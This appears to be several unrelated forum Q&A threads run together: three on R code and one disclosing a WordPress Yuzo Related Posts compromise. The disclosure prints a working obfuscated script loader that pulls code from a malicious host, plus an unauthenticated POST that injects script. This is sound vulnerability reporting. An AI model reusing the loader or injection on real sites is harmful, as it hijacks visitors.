I need to repeatedly apply a function on the resultant arrays until all data in the array is reduced to a single set, and count the number of iterations.
Data
Array ar
structure(c(0, 11, 17, 15, 22, 67, 73, 68, 31, 31, 28, 33, 34,
32, 11, 0, 9, 12, 21, 67, 73, 67, 35, 30, 34, 67, 60, 36, 17,
9, 0, 6, 19, 70, 74, 68, 36, 36, 36, 64, 66, 39, 15, 12, 6, 0,
13, 64, 69, 66, 34, 37, 39, 77, 65, 45, 22, 21, 19, 13, 0, 59,
60, 66, 38, 39, 39, 40, 43, 43, 67, 67, 70, 64, 59, 0, 10, 18,
77, 75, 78, 93, 93, 85, 73, 73, 74, 69, 60, 10, 0, 15, 76, 74,
80, 103, 101, 95, 68, 67, 68, 66, 66, 18, 15, 0, 59, 65, 73,
90, 87, 82, 31, 35, 36, 34, 38, 77, 76, 59, 0, 8, 19, 24, 28,
32, 31, 30, 36, 37, 39, 75, 74, 65, 8, 0, 12, 20, 22, 23, 28,
34, 36, 39, 39, 78, 80, 73, 19, 12, 0, 6, 14, 18, 33, 67, 64,
77, 40, 93, 103, 90, 24, 20, 6, 0, 2, 8, 34, 60, 66, 65, 43,
93, 101, 87, 28, 22, 14, 2, 0, 6, 32, 36, 39, 45, 43, 85, 95,
82, 32, 23, 18, 8, 6, 0), .Dim = c(14L, 14L))
From
a<-colSums(ar<25)
b<-which.max(a)
c<-ar[ar[,b] > 25,, drop = FALSE]
we get
structure(c(0, 11, 17, 15, 22, 67, 73, 68, 11, 0, 9, 12, 21,
67, 73, 67, 17, 9, 0, 6, 19, 70, 74, 68, 15, 12, 6, 0, 13, 64,
69, 66, 22, 21, 19, 13, 0, 59, 60, 66, 67, 67, 70, 64, 59, 0,
10, 18, 73, 73, 74, 69, 60, 10, 0, 15, 68, 67, 68, 66, 66, 18,
15, 0, 31, 35, 36, 34, 38, 77, 76, 59, 31, 30, 36, 37, 39, 75,
74, 65, 28, 34, 36, 39, 39, 78, 80, 73, 33, 67, 64, 77, 40, 93,
103, 90, 34, 60, 66, 65, 43, 93, 101, 87, 32, 36, 39, 45, 43,
85, 95, 82), .Dim = c(8L, 14L))
then from
a<-colSums(c<25)
b<-which.max(a)
d<-c[c[,b]>25,,drop=FALSE]
we get
structure(c(67, 73, 68, 67, 73, 67, 70, 74, 68, 64, 69, 66, 59,
60, 66, 0, 10, 18, 10, 0, 15, 18, 15, 0, 77, 76, 59, 75, 74,
65, 78, 80, 73, 93, 103, 90, 93, 101, 87, 85, 95, 82), .Dim = c(3L,
14L))
applying once more
a<-colSums(d<25)
b<-which.max(a)
e<-d[d[,b]>25,,drop=FALSE]
results in a array with no values
structure(numeric(0), .Dim = c(0L, 14L))
Then, the operation can be performed a number of times, and I need to know how many times; in this case it was 3 times.
Also, I need to reduce the number of the lines of the code probably with a loop function, as the action is repetitive.
You can use recursion as shown below:
fun<- function(x, i=1){
a<-which.max(colSums(x<25))
b<-x[x[,a] > 25,, drop = FALSE]
if(length(b)) Recall(b, i+1) else i
}
fun(ar)
[1] 3
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About an hour ago a Wordpress Page I manage started redirecting to Ad/Malware Pages.
I found the source of the redirection, want to provide help for others affected and need help finding the actual vulnerability and/or a fix.
The redirection happens after the Site is done loading, so I was looking for a JavaScript Snippet in the Page and dubious redirections in the Network Analyzer. Obvious malicious redirects were: hellofromhony.org, thebiggestfavoritemake.com, nnatrevaleur.tk and a site trying to snatch my current location (could not reproduce that one more than once though).
I was able to trace the redirections down to coming from https://hellofromhony.org/counter which is embedded via a code snippet.
The snippet was embedded in wp_options in an entry with the key 'yuzo_related_post_options' - more specifically embedded in the json option 'yuzo_related_post_css_and_style' of the option_value. That option gets echoed without sanitizing.
This option is part of the Yuzo Related Posts Plugin, which got discontinued about a week ago:
https://wordpress.org/plugins/yuzo-related-post/
Removing that Plugin stopped the redirection immediately, I was not able to find other traces of tampering with the site.
The snippet that was in the option_value:
</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>
While removing the Plugin poses a quickfix, I want to dive deeper to be sure that there was no access to the database, backend and webspace.
I do believe I just found it:
The Yuzo Related Posts Plugin does not check for authentication when saving options.
So POSTing
yuzo_related_post_css_and_style=</style><script+language=javascript>alert('hacked');</script>
to /wp-admin/options-general.php?page=yuzo-related-post will succeed, even if you're not logged in.
The Plugin is using is_admin() to check for authentication, but that is a "false friend" and only checks if the accessed page is in the admin-area, not if a user is authenticated (nor authorized). See the Wordpress documentation.
A quick solution to keep using the plugin is just removing the settings option by putting false in the if-Statement in /assets/functions/options.php line 1155:
function __construct(){
global $if_utils;
$this->utils = $if_utils;
if(false/* is_admin() */)
self::configuration_plugin();
else
self::parameters();
}
Update:
Hang Guan pointed to a Blog Post about this issue from last week, seems like it is "out in the wild" now.
I have a dataset:
x = c(30, 23, 22, 31, 18, 16, 19, 16, 15, 23, 21, 17, 17, 27, 24, 22, 27, 32, 23, 21, 14, 19, 22, 23, 22, 19, 13, 22, 33, 25, 24, 26, 24, 24, 13, 21, 23, 23, 31, 23, 25, 20, 24, 23, 24, 16, 19, 33, 36, 29, 29, 26, 22, 23, 23, 23, 20, 27, 32, 30, 34, 37, 28, 24, 29, 32, 35, 32, 25, 28, 27, 32, 33, 25, 25, 30, 25, 25, 26, 36, 30, 37, 27, 25, 26, 34, 38, 29, 30, 32, 31, 33, 33, 31, 37, 36, 42, 32, 37, 34, 37, 38, 31, 25, 27, 27, 32, 33, 39, 38, 36, 32, 35, 33, 36, 40, 39, 32, 32, 34, 35, 38, 43, 43, 39, 30, 33, 39, 39, 46, 51, 40, 30, 37, 48, 52, 47, 58, 41, 47, 51, 55, 56, 46, 34, 47, 45, 48, 52, 66, 56, 49, 66, 71, 63, 47, 41, 50, 56, 58, 56, 56, 61, 49, 57, 58, 52, 65, 70, 75, 59, 55, 44, 48, 49, 49, 55, 61, 58, 56, 56, 62, 64, 58, 59, 64, 64, 61, 56, 62, 64, 78, 86, 80, 75, 65, 75, 66, 72, 85, 65, 70, 63, 58, 73, 83, 89, 78, 75, 79, 84, 92, 90, 80, 76, 82, 83, 82, 82, 93, 93, 79, 92, 97, 84, 85, 81, 90, 99, 106, 100, 96, 97, 101, 128, 120, 121, 109, 125, 118, 121, 118, 123, 108, 115, 123, 123, 117, 113, 124, 128, 142, 134, 120, 116, 112, 129, 149, 150, 134, 134, 133, 139, 165, 167, 173, 158, 170, 188, 186, 191, 172, 163, 176, 182, 188, 205, 203, 219, 211, 229, 242, 245, 273, 270, 285, 292, 329, 355, 358, 362, 403, 429, 480, 516, 512, 525, 544, 575, 595, 668, 622, 612, 627, 649, 620, 576, 608, 576, 545, 471, 435, 422, 416, 405, 372, 338, 299, 285, 279, 274, 251, 241, 213, 201, 197, 203, 197, 196, 189, 184, 166, 165, 161, 167, 160, 157, 139, 131, 141, 152, 143, 144, 140, 136, 148, 123, 114, 113, 109, 122, 134, 120, 103, 117, 134, 117, 106, 114, 112, 104, 86, 94, 103, 108, 98, 109, 98, 100, 108, 114, 92, 78, 83, 111, 98, 78, 80, 80, 68, 62, 76, 74, 89, 78, 85, 86, 86, 76, 71, 72, 72, 64, 76, 77, 77, 89, 76, 65, 61, 66, 68, 72, 75, 72, 67, 67, 69, 75, 65, 63, 75, 68, 65, 59, 68, 61, 60, 63, 63, 58, 63, 59, 49, 68, 55, 60, 67, 65, 69, 68, 53, 59, 64, 45, 43, 42, 48, 46, 50, 52, 41, 38, 44, 38, 51, 50, 51, 41, 40, 41, 41, 34, 41, 32, 35, 39, 52, 46, 38, 37, 39, 36, 36, 34, 41, 40, 38, 38, 47, 45, 46, 36, 40, 34, 32, 39, 41, 47, 38, 38, 33, 44, 37, 38, 30, 34, 30, 40, 43, 41, 31, 27, 39, 34, 31, 29, 29, 25, 38, 38, 33, 42, 45, 46, 42, 37, 40, 35, 50, 34, 29, 25, 30, 36, 35, 36, 35, 24, 22, 29, 29, 32, 32, 25, 32, 30, 28, 23, 28, 34, 31, 28, 30, 27, 27, 20, 25, 32, 32, 41, 28, 19, 22, 23, 20, 25, 31, 27, 24, 26, 21, 20, 25, 33, 31, 44, 31, 31, 22, 29, 29, 32, 20, 24, 26, 27, 28, 24, 16, 19, 24, 23, 28, 27, 22, 24, 18, 19, 19, 21, 26, 26, 25, 28, 28, 32, 32, 26, 23, 31, 27, 20, 18, 29, 25, 15, 23, 28, 29)
I know the data follows the following distribution, a quadratic background with a cauchy peak:
a + bx + cx^2 + dx^3 + ex^4 + fx^5 + gx^6 + (A/pi)(gamma/((x-pos)^2 + gamma^2))
I am trying to determine the optimum parameters to fit this data in order to find the 'gamma' parameter. This will tell me the FWHM of the distribution. I only know the 'pos' parameter. This is the location of the peak.
Here is a plot of this distribution:
I have achieved this in python using the lmfit package but have not found a way to do this in R yet. I believe it requires the fitdistrplus package but I have had no luck. Any ideas?
Even though the data sets are a little different, you should be able to use the same recipe as found at R Find Full width at half maximum for a gausian density distribution -- to get FWHM you need a density curve which is the part that's missing:
> d <- density(na.omit(x),n=1e4)
> xmax <- d$x[d$y==max(d$y)]
> x1 <- d$x[d$x < xmax][which.min(abs(d$y[d$x < xmax]-max(d$y)/2))]
> x2 <- d$x[d$x > xmax][which.min(abs(d$y[d$x > xmax]-max(d$y)/2))]
> points(c(x1, x2), c(d$y[d$x==x1], d$y[d$x==x2]), col="red")
> (FWHM <- x2-x1)
[1] 43.37897
I am trying to do a simple hist plot and colour the bins by quantile.
I was wondering why when the bins size change the colours gets all messed up.
Maybe I am not doing it right from the beginning.
The quantiles are
quantile(x)
0% 25% 50% 75% 100%
0.00 33.75 58.00 78.25 123.00
Then I am setting the colours with the quantile values
k = ifelse(test = x <= 34, yes = "#8DD3C7",
no = ifelse(test = (x > 34 & x <= 58), yes = "#FFFFB3",
no = ifelse(test = (x > 58 & x <= 79), yes = "#BEBADA",
no = ifelse(test = (x > 79), yes = "#FB8072", 'grey'))) )
Then when I plot with larger bin, I get :
hist(dt, breaks = 10, col = k)
Which seems right, even though the last bin is wrong (?!).
But when I try with smaller bins, the colours are not right.
Could someone help me understand why is it wrong ? Or if my code is wrong ?
The x in question
x = c(23, 23, 16, 16, 34, 34, 43, 43, 97, 97, 63, 63, 39, 39, 29,
29, 63, 63, 48, 48, 7, 7, 80, 80, 69, 69, 110, 110, 103, 103,
43, 43, 39, 39, 46, 46, 14, 14, 56, 56, 76, 76, 52, 52, 18, 18,
32, 32, 66, 66, 70, 70, 26, 26, 40, 40, 105, 105, 62, 62, 51,
51, 58, 58, 37, 37, 55, 55, 42, 42, 11, 11, 89, 89, 55, 55, 109,
109, 49, 49, 27, 27, 96, 96, 27, 27, 65, 65, 74, 74, 17, 17,
33, 33, 89, 89, 63, 63, 18, 18, 25, 25, 36, 36, 108, 108, 3,
3, 52, 52, 83, 83, 74, 74, 56, 56, 99, 99, 6, 6, 25, 25, 51,
51, 4, 4, 100, 100, 17, 17, 44, 44, 23, 23, 70, 70, 85, 85, 14,
14, 22, 22, 89, 89, 45, 45, 2, 2, 29, 29, 14, 14, 69, 69, 96,
96, 10, 10, 58, 58, 97, 97, 54, 54, 60, 60, 65, 65, 2, 2, 54,
54, 4, 4, 28, 28, 107, 107, 74, 74, 72, 72, 71, 71, 42, 42, 92,
92, 64, 64, 39, 39, 111, 111, 72, 72, 73, 73, 58, 58, 41, 41,
56, 56, 73, 73, 18, 18, 73, 73, 36, 36, 60, 60, 49, 49, 47, 47,
95, 95, 19, 19, 8, 8, 7, 7, 38, 38, 38, 38, 38, 38, 28, 28, 79,
79, 53, 53, 30, 30, 19, 19, 14, 14, 53, 53, 68, 68, 39, 39, 42,
42, 87, 87, 33, 33, 18, 18, 77, 77, 83, 83, 19, 19, 14, 14, 7,
7, 32, 32, 94, 94, 30, 30, 55, 55, 89, 89, 30, 30, 45, 45, 84,
84, 38, 38, 59, 59, 73, 73, 77, 77, 22, 22, 55, 55, 31, 31, 52,
52, 20, 20, 26, 26, 62, 62, 55, 55, 46, 46, 26, 26, 49, 49, 22,
22, 65, 65, 67, 67, 73, 73, 29, 29, 88, 88, 86, 86, 76, 76, 32,
32, 12, 12, 19, 19, 14, 14, 8, 8, 63, 63, 63, 63, 65, 65, 84,
84, 34, 34, 42, 42, 26, 26, 75, 75, 68, 68, 28, 28, 95, 95, 17,
17, 76, 76, 33, 33, 91, 91, 93, 93, 80, 80, 89, 89, 64, 64, 81,
81, 98, 98, 47, 47, 70, 70, 46, 46, 11, 11, 92, 92, 69, 69, 95,
95, 51, 51, 87, 87, 61, 61, 50, 50, 47, 47, 35, 35, 31, 31, 39,
39, 19, 19, 81, 81, 35, 35, 68, 68, 68, 68, 67, 67, 57, 57, 7,
7, 9, 9, 23, 23, 50, 50, 89, 89, 41, 41, 54, 54, 53, 53, 57,
57, 89, 89, 32, 32, 40, 40, 48, 48, 35, 35, 15, 15, 90, 90, 1,
1, 17, 17, 53, 53, 73, 73, 76, 76, 59, 59, 45, 45, 68, 68, 21,
21, 37, 37, 33, 33, 51, 51, 61, 61, 31, 31, 15, 15, 23, 23, 29,
29, 45, 45, 96, 96, 87, 87, 37, 37, 104, 104, 50, 50, 58, 58,
103, 103, 91, 91, 72, 72, 73, 73, 27, 27, 60, 60, 23, 23, 99,
99, 28, 28, 78, 78, 27, 27, 82, 82, 63, 63, 34, 34, 84, 84, 62,
62, 2, 2, 99, 99, 22, 22, 85, 85, 39, 39, 47, 47, 66, 66, 17,
17, 74, 74, 45, 45, 70, 70, 87, 87, 28, 28, 97, 97, 89, 89, 33,
33, 50, 50, 79, 79, 86, 86, 69, 69, 91, 91, 75, 75, 52, 52, 76,
76, 13, 13, 71, 71, 42, 42, 20, 20, 28, 28, 56, 56, 69, 69, 16,
16, 47, 47, 60, 60, 45, 45, 72, 72, 78, 78, 107, 107, 4, 4, 64,
64, 88, 88, 9, 9, 3, 3, 10, 10, 92, 92, 41, 41, 5, 5, 35, 35,
31, 31, 24, 24, 70, 70, 47, 47, 41, 41, 32, 32, 92, 92, 90, 90,
75, 75, 3, 3, 78, 78, 30, 30, 93, 93, 60, 60, 17, 17, 25, 25,
48, 48, 70, 70, 69, 69, 66, 66, 76, 76, 104, 104, 31, 31, 72,
72, 56, 56, 64, 64, 92, 92, 68, 68, 102, 102, 100, 100, 27, 27,
40, 40, 47, 47, 29, 29, 76, 76, 78, 78, 20, 20, 13, 13, 10, 10,
113, 113, 17, 17, 61, 61, 69, 69, 65, 65, 16, 16, 100, 100, 5,
5, 18, 18, 24, 24, 54, 54, 41, 41, 64, 64, 66, 66, 90, 90, 29,
29, 97, 97, 37, 37, 42, 42, 84, 84, 37, 37, 74, 74, 65, 65, 12,
12, 49, 49, 31, 31, 108, 108, 9, 9, 93, 93, 71, 71, 39, 39, 70,
70, 79, 79, 92, 92, 60, 60, 104, 104, 79, 79, 103, 103, 38, 38,
93, 93, 46, 46, 66, 66, 79, 79, 51, 51, 31, 31, 65, 65, 93, 93,
25, 25, 22, 22, 91, 91, 123, 123, 51, 51, 34, 34, 64, 64, 31,
31, 24, 24, 74, 74, 57, 57, 95, 95, 83, 83, 28, 28, 56, 56, 72,
72, 43, 43, 18, 18, 66, 66, 32, 32, 17, 17, 67, 67, 10, 10, 44,
44, 66, 66, 57, 57, 89, 89, 57, 57, 55, 55, 18, 18, 78, 78, 82,
82, 103, 103, 110, 110, 92, 92, 54, 54, 35, 35, 8, 8, 53, 53,
86, 86, 45, 45, 99, 99, 19, 19, 84, 84, 94, 94, 92, 92, 80, 80,
69, 69, 45, 45, 22, 22, 59, 59, 9, 9, 41, 41, 72, 72, 24, 24,
117, 117, 79, 79, 57, 57, 29, 29, 96, 96, 47, 47, 23, 23, 64,
64, 33, 33, 48, 48, 80, 80, 30, 30, 42, 42, 10, 10, 42, 42, 68,
68, 46, 46, 58, 58, 39, 39, 82, 82, 79, 79, 80, 80, 89, 89, 85,
85, 24, 24, 106, 106, 40, 40, 90, 90, 69, 69, 92, 92, 84, 84,
82, 82, 86, 86, 80, 80, 73, 73, 78, 78, 39, 39, 27, 27, 55, 55,
100, 100, 63, 63, 21, 21, 46, 46, 94, 94, 6, 6, 45, 45, 66, 66,
94, 94, 52, 52, 78, 78, 59, 59, 86, 86, 67, 67, 76, 76, 54, 54,
47, 47, 37, 37, 76, 76, 32, 32, 49, 49, 87, 87, 122, 122, 27,
27, 82, 82, 51, 51, 50, 50, 22, 22, 32, 32, 99, 99, 77, 77, 54,
54, 29, 29, 82, 82, 80, 80, 85, 85, 30, 30, 57, 57, 41, 41, 50,
50, 65, 65, 51, 51, 109, 109, 89, 89, 50, 50, 6, 6, 66, 66, 42,
42, 48, 48, 88, 88, 67, 67, 89, 89, 109, 109, 80, 80, 64, 64,
64, 64, 95, 95, 76, 76, 76, 76, 78, 78, 44, 44, 51, 51, 19, 19,
29, 29, 31, 31, 75, 75, 11, 11, 10, 10, 64, 64, 80, 80, 29, 29,
73, 73, 67, 67, 38, 38, 27, 27, 23, 23, 74, 74, 79, 79, 49, 49,
78, 78, 29, 29, 59, 59, 70, 70, 8, 8, 24, 24, 39, 39, 80, 80,
27, 27, 29, 29, 36, 36, 94, 94, 86, 86, 35, 35, 84, 84, 99, 99,
83, 83, 92, 92, 81, 81, 58, 58, 2, 2, 64, 64, 75, 75, 29, 29,
53, 53, 58, 58, 11, 11, 38, 38, 83, 83, 108, 108, 86, 86, 56,
56, 12, 12, 84, 84, 76, 76, 38, 38, 54, 54, 37, 37, 27, 27, 61,
61, 83, 83, 37, 37, 59, 59, 81, 81, 76, 76, 70, 70, 61, 61, 101,
101, 77, 77, 68, 68, 74, 74, 83, 83, 70, 70, 93, 93, 53, 53,
64, 64, 89, 89, 1, 1, 53, 53, 67, 67, 81, 81, 71, 71, 51, 51,
85, 85, 35, 35, 67, 67, 53, 53, 37, 37, 31, 31, 65, 65, 82, 82,
47, 47, 60, 60, 81, 81, 21, 21, 94, 94, 75, 75, 92, 92, 113,
113, 93, 93, 84, 84, 77, 77, 82, 82, 84, 84, 58, 58, 83, 83,
84, 84, 80, 80, 1, 1, 49, 49, 73, 73, 22, 22, 99, 99, 74, 74,
28, 28, 33, 33, 74, 74, 91, 91, 83, 83, 70, 70, 99, 99, 69, 69,
38, 38, 68, 68, 47, 47, 61, 61, 47, 47, 70, 70, 85, 85, 20, 20,
100, 100, 3, 3, 49, 49, 100, 100, 85, 85, 54, 54, 8, 8, 3, 3,
47, 47, 46, 46, 45, 45, 27, 27, 87, 87, 20, 20, 24, 24, 51, 51,
50, 50, 105, 105, 73, 73, 13, 13, 18, 18, 51, 51, 75, 75, 55,
55, 62, 62, 85, 85, 56, 56, 51, 51, 66, 66, 74, 74, 63, 63, 2,
2, 81, 81, 85, 85, 19, 19, 16, 16, 83, 83, 36, 36, 79, 79, 63,
63, 41, 41, 45, 45, 76, 76, 62, 62, 67, 67, 74, 74, 92, 92, 47,
47, 41, 41, 80, 80, 57, 57, 100, 100, 66, 66, 58, 58, 65, 65,
59, 59, 20, 20, 54, 54, 10, 10, 79, 79, 64, 64, 106, 106, 44,
44, 28, 28, 41, 41, 49, 49, 80, 80, 61, 61, 20, 20, 75, 75, 59,
59, 93, 93, 32, 32, 38, 38, 30, 30, 41, 41, 8, 8, 8, 8, 54, 54,
56, 56, 83, 83, 81, 81, 77, 77, 42, 42, 59, 59, 11, 11, 21, 21,
77, 77, 84, 84, 86, 86, 84, 84, 34, 34, 48, 48, 80, 80, 92, 92,
18, 18, 66, 66, 40, 40, 45, 45, 60, 60, 80, 80, 2, 2, 5, 5, 84,
84, 66, 66, 70, 70, 70, 70, 95, 95, 62, 62, 0, 0, 67, 67, 61,
61, 71, 71, 73, 73, 82, 82, 45, 45, 54, 54, 43, 43)
It is because you mistunderstand the col argument of hist.
The col argument is a vector where col[i] is the colour of the ith bar of the histogram.
Your k vector has one element per element of x, which is many more than the number of bars in the histogram.
In the first case, only the first 13 elements of k are used to colour the bars (in that order), since there are only 13 bars. In the second case, the first n elements of k are used to colour the bars, where n is the number of bars (see how the first 13 bars of the small-bin histogram have the same colour as the first 13 of the first histogram?).
If you want to colour the bars by quantile, you will have to work out how many bars are in each quantile (not how many data points), and create your k like that.
To do this, you need to know the histogram breaks - the breakpoints of your bins. The output of hist returns an object where you can get the breakpoints and so on - see ?hist.
# do the histogram counts to get the break points
# don't plot yet
h <- hist(x, breaks=20, plot=F) # h$breaks and h$mids
To work out the colour the bar should be, you can use either the starting coordinate of each bar (all but the last element of h$breaks), the ending coordinate of each bar (all but the first element of h$breaks) or the midpoint coordinate of each bar (h$mids). Set your colours like you did above.
The findInterval(h$mids, quantile(x), ...) works out which quantile each bar is in (determined by the bar's midpoint); it returns an integer with which interval it is in, or 0 if it's outside (though by definition every bar of the histogram is between the 0th and 100th quantile, so technically your "grey" colour is not ever used). rightmost.closed makes sure the 100% quantile value is included in the top-most colour bracket. The cols[findInterval(...)+1] is just a cool/tricksy way to do your ifelse(h$mids <= ..., "$8DD3C7", ifelse(h$mids <= ..., .....)); you could do it the ifelse way if you prefer.
cols <- c('grey', "#8DD3C7", "#FFFFB3", "#BEBADA", "#FB8072")
k <- cols[findInterval(h$mids, quantile(x), rightmost.closed=T, all.inside=F) + 1]
# plot the histogram with the colours
plot(h, col=k)
Have a look at k - it is only as long as the number of bars in the histogram, rather than as long as the number of datapoints in x.